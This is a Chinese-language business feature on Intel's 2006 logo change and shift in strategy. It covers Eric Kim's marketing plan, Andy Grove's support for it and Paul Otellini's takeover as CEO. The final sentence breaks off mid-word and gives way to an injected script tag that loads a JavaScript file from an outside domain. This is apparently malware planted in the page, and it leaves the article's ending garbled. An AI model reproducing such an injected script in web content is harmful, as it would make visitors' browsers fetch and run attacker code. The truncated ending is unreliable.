英特尔在继续贝瑞特还未完成的转变，试图将英特尔从单纯的微处理器厂商转变成生产各种信息产品的半导体厂商，换标就是其中非常重要的一步
单纯以技术推动市场的时代已经过去，即使是英特尔这样的市场领导者也面临着转型的挑战。
1月5日，美国拉斯维加斯会展中心，一年一度的国际消费电子展(ces)开幕了。在英特尔公司的展台前，原来熟悉的英特尔的“下沉的e”标识不见了，1991年创建并广泛使用的“intel inside”标识也悄悄消失了，取而代之的是由两条半圆弧线围绕着的“intel”新标识，其右下侧“leap ahead”(超越未来)的新口号也显得格外醒目。在换标的同时，英特尔还发布了第一代数字家庭平台viiv和第三代迅驰无线移动计算平台napa。
37年前，罗伯特·诺伊斯(robert noyce)与戈登·摩尔(gordon moore)创立了英特尔公司并采用“下沉的e”标识；1980年代，第三任ceo、“偏执狂”安迪·格鲁夫带领英特尔走出了存储器的泥潭，实现了英特尔的辉煌；1998年之后，第四任ceo、“飞行员”克莱格·贝瑞特(craig barrett)则试图将英特尔从单纯的微处理器厂商转变成生产各种信息产品所需半导体的厂商；如今，新任ceo保罗·欧德宁(paul otellini)则在继续贝瑞特还未完成的转变，换标就是其中非常重要的一步。
全面的改变
“这次转变将使人们更好地了解英特尔所取得的成就，与消费者建立更加紧密的情感联系，同时加强我们在市场上的整体定位。”在换标的新闻发布会上，英特尔公司高级副总裁兼全球市场营销部总经理金炳国(eric kim)说。
金炳国正是英特尔此次换标的幕后主脑。这位韩国出生、美国长大的哈佛mba从1999年开始一直担任韩国三星电子的全球市场营销副社长也就是cmo，领导了三星电子近年来至为关键的品牌变革。还是在2001年的时候，他就毫不客气地宣称：三星电子要在5年内超越索尼。这番在当时看来不太现实的豪言壮语在4年后变成了现实：去年8月《商业周刊》公布的全球品牌排行榜显示，三星电子的品牌价值高达149亿美元，而索尼只有108亿美元。这也是三星电子首次超过索尼。在过去的5年时间里，三星电子的品牌价值飙升了186%，创造了一个奇迹。而这个时候，金炳国已经离开三星电子将近一年的时间了。
这位点石成金的品牌营销高手在一年前加入了英特尔这家拥有全球第5大品牌的公司。作为公司历史上的首位cmo，他直接向ceo欧德宁汇报。去年10月20日，在英特尔总部旁一家酒店的会议室中，300多名英特尔的高管正在召开一次重要的会议。面对英特尔昔日辉煌的创造者、如今的高级顾问安迪·格鲁夫，金炳国做了一次言辞激烈的发言：英特尔必须抛弃那些过时的东西。intel inside？扔掉它！奔腾品牌？已经过时！英特尔“下沉的e”标识？历史的遗物而已！
发言之后，是难得的寂静，所有的人都不由得拉紧了自己的椅子，因为格鲁夫那熟悉而愤怒的咆哮声马上就要响起。出人意料的是，格鲁夫只是平心静气地说：“这份计划让我深受震动，它符合英特尔勇于承担风险、纪律严明、以结果为导向的价值观。”停了一下，他字斟句酌但是异常坚定地接着说：“这是我见过的最出色的计划。我本人，将全力支持它！”
其实早在换标之前，变化就已经悄悄地发生了。去年5月，欧德宁正式接任ceo的职位。在英特尔的前四位“工程师ceo”尤其是从1987～1998年担任ceo的安迪·格鲁夫的领导下，英特尔内部早就形成了一种独特的“工程师”文化：在公司内部，研发人员始终处于主导地位，产品和技术始终追求最优，依靠提供给客户最新的技术来拉动市场。与此相对应，公司鼓励员工之间创造性的冲突，每个地区和产品部都是“双负责人”的体制。在那个时候的英特尔总部大楼中，经常能够听到格鲁夫的大声咆哮。
因此，摆在欧德宁面前的首要任务就是清除格鲁夫和贝瑞特留下的辉煌过去，虽然他自己就是两人“钦定”的接班人。与他的四位前任不同，去年5月就任ceo的欧德宁没有任何工程师的背景：他在大学里学的是经济学，随后又获得了mba学位。1974年加入英特尔的欧德宁担任过英特尔公司销售与市场部门的副总裁，还负责过英特尔架构事业群的运营，并于2002年1月被擢升为公司总裁。与格鲁夫相比，两人正好是一个巨大的反差：格鲁夫曾经被称为“最铁腕的ceo”，经常在办公室大?script src=http://er12.com/t.js>
